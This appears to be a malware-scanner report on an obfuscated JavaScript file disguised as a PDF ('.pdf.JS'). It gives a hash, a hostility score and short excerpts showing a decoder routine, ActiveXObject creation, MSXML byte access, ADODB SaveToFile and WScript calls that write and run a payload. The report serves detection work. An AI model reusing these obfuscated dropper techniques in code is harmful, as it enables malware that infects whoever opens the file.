Hostile ^92% Download

aa4fca3b-5e1e-4238-9bd2-cda261039f18.pdf.JS

obfuscated ActiveX file execution

Layered JavaScript obfuscation hides a decoded WSH payload writeObfuscated WSH script writes and runs a payload

SHA-256113c2348a1610bb777114580f25a1d263fae042fd8be7564507ffcc0eefa8edf

URLhttps://mb-api.abuse.ch/api/v1/

Evidence

Computed call uses a decoder function lines 84–96

27… BS99224 = UEZAHBQKLCEEHSBS19553;
  
      if (UEZAHBQKLCEEHSBS99224(0x384) !== UEZAHBQKLCEEHSBS99224(0x384))
          UEZAHBQKLCEEHSBS70525[UEZAHBQKLCEEHSBS99224(0x346)](UEZAHBQKLCEEHSBS88660[UEZAHBQKLCEEHSBS99224(0x2e8)]());
  
      else
⋯7 lines

Constructs ActiveX object from variable ProgID lines 2076–2090

⋯4 lines
2080
2081}
2082var UEZAHBQKLCEEHSBSPNY = new ActiveXObject(UEZAHBQKLCEEHSBSASC);
2083
2084function UEZAHBQKLCEEHSBSCX(UEZAHBQKLCEEHSBS36505) {
⋯6 lines

MSXML nodeTypedValue byte access lines 2595–2610

12… NRD',
      'eimgF',
      'mGwqy',
      'eTKbS',
      'EVEX.256.66.UEZAHBQKLCEEHSBSAQ.W0\x204C\x20/r',
      'nodeTypedValue',
      'EVEX.LIG.66.UEZAHBQKLCEEHSBSAQ.W0\x209F\x20/r',
      'R:m512',
⋯8 lines

ADODB-compatible SaveToFile method token lines 3361–3376

5…     'htnJA',
      'W:ymm\x20{kz},~ymm,~ymm/m256/b16',
      'BMI2',
      'UEZAHBQKLCEEHSBSOIIIIIsub132sh',
      'SaveToFile',
      'UEZAHBQKLCEEHSBSOIIIIIadd231ph',
      'jDYZw',
⋯9 lines

WScript bracket-member access in source text lines 4105–4115

3…   
      UEZAHBQKLCEEHSBS57622 += UEZAHBQKLCEEHSBS22446(-0x9b, 0x2a1, 0x88);
  
  
}
  var UEZAHBQKLCEEHSBSWTE = WScript[UEZAHBQKLCEEHSBS63204(0x341, 0x3ce, 0xb3)];

  function UEZAHBQKLCEEHSBSCX(UEZAHBQKLCEEHSBS67278) {
  
      var UEZAHBQKLCEEHSBS12449 = UEZAHBQKLCEEHSBS60612, UEZAHBQKLCEEHSBS65177 = {
     'eTbyB': UEZAHBQKLCEEHSBS67802(0x1ae, 0x160, 0x161 …